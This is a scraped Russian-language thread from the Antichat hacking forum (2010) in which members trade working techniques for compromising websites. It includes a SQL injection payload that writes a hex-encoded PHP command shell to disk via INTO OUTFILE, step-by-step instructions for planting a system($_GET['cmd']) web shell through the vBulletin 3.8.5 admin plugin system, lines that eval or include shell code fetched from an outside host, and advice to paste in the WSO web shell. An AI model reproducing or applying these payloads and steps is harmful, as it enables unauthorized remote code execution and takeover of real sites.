Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz
 |
|
18.05.2010, 03:00
|
|
Members of Antichat - Level 5
Регистрация: 09.10.2006
Сообщений: 1,698
Провел на форуме:
9098076
Репутация:
4303
|
|
в дефолтной папке mysql (уже не помню какая) уже есть файл 1.php. Зачем тебе его искать? Можно в /tmp создать
PS в пм мне не надо писать, я не умею ломать сайты и никогда этим не занимался
|
|
|
18.05.2010, 10:31
|
|
Members of Antichat - Level 5
Регистрация: 09.07.2006
Сообщений: 553
Провел на форуме:
7561206
Репутация:
1861
|
|
ТОЕСТЬ я могу создавать файлы ?
да
где мне найти этот '1.php'
@@datadir
и как мне теперь проверить что у меня получилось ?
прочитать этот файл через load_file
P.S. Я на все твои вопросы ответил, ответь на 1 мой. Сколько нужно курить, чтобы составить этот запрос?
+union+select+load_file(0x3C3F7061737374687275282 45F4745545B27636D64275D293B3F3E)+into+outfile+'1.p hp'+--+
|
|
|
|
18.05.2010, 13:13
|
|
Leaders of Antichat - Level 4
Регистрация: 16.01.2006
Сообщений: 1,966
Провел на форуме:
21768337
Репутация:
3486
|
|
Сообщение от pinch
Microsoft JET Database Engine error '80040e14'
значит бд у нас Microsoft JET Database. следовательно запросы передаются на низком уровне. =(((
Можно поподробнее про передачу запросов на низком уровне? Спасибо.
|
|
|
|
18.05.2010, 14:00
|
|
Участник форума
Регистрация: 07.02.2010
Сообщений: 111
Провел на форуме:
619439
Репутация:
127
|
|
Сообщение от .Slip
Можно поподробнее про передачу запросов на низком уровне? Спасибо.
Ну это, наверное, только при особых условиях
|
|
|
|
18.05.2010, 20:44
|
|
Участник форума
Регистрация: 30.03.2008
Сообщений: 208
Провел на форуме:
869744
Репутация:
18
|
|
Какие есть способы заливки шела на vBulletin® Version 3.8.5
Последний раз редактировалось GOGA075; 18.05.2010 в 21:10..
|
|
|
|
18.05.2010, 21:38
|
|
Познавший АНТИЧАТ
Регистрация: 31.03.2006
Сообщений: 1,167
Провел на форуме:
4072944
Репутация:
1550
|
|
Сообщение от GOGA075
Какие есть способы заливки шела на vBulletin® Version 3.8.5
а поиском кто будет пользоватся?
click
|
|
|
|
18.05.2010, 22:00
|
|
Участник форума
Регистрация: 03.08.2009
Сообщений: 103
Провел на форуме:
413428
Репутация:
13
|
|
Да хотелось бы знать что за низкий уровень, и как его использовать
|
|
|
|
18.05.2010, 22:04
|
|
Участник форума
Регистрация: 30.03.2008
Сообщений: 208
Провел на форуме:
869744
Репутация:
18
|
|
пробовал так
1. Заходим в админку.
2. Система модулей.
3. Добавить новый модуль.
Продукт: ставим vBulletin
Месторасположение: Vbulletin: Справка - faq_complete
Вставляем в тело код нашего шелла (шелл не должен превышать 60кб), проще сделать system($_GET["cmd"]);
4. Сохраняем, идём в faq (справка), всё теперь у нас есть шелл. Если он был такой system($_GET["cmd"]); делаем так www.xz.сom/forumpath/faq.php?cmd=тут команда
cmd=eval(file_get_contents('http://site.ru/downloads/shell.txt'));
и
cmd=include($_GET['http://site.ru/downloads/shell.txt']);
нефига не работают!! |
|
|
|
18.05.2010, 22:09
|
|
Динозавр
Регистрация: 10.01.2008
Сообщений: 2,841
Провел на форуме:
9220514
Репутация:
3338
|
|
Сообщение от GOGA075
пробовал так
cmd=eval(file_get_contents('http://site.ru/downloads/shell.txt'));
и
cmd=include($_GET['http://site.ru/downloads/shell.txt']);
нефига не работают!!
не больше 60 кб - ничто не мешает вам туда вставить сразу код WSO
|
|
|
|
18.05.2010, 22:17
|
|
Участник форума
Регистрация: 30.03.2008
Сообщений: 208
Провел на форуме:
869744
Репутация:
18
|
|
Сообщение от Pashkela
не больше 60 кб - ничто не мешает вам туда вставить сразу код WSO
В таком случае форум выдает ошибку
(но шел востпроизводится)
Ваш запрос не может быть обработан, так как маркер безопасности отсутствует.
Если эта ошибка произошла после выполнения обычного действия и при повторном выполнении действий она не исчезает, то, пожалуйста, сообщите администратору об этом, не забыв указать максимально полное описание действий, которые привели к её возникновению.
|
|
|
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|
Похожие темы
Линейный вид
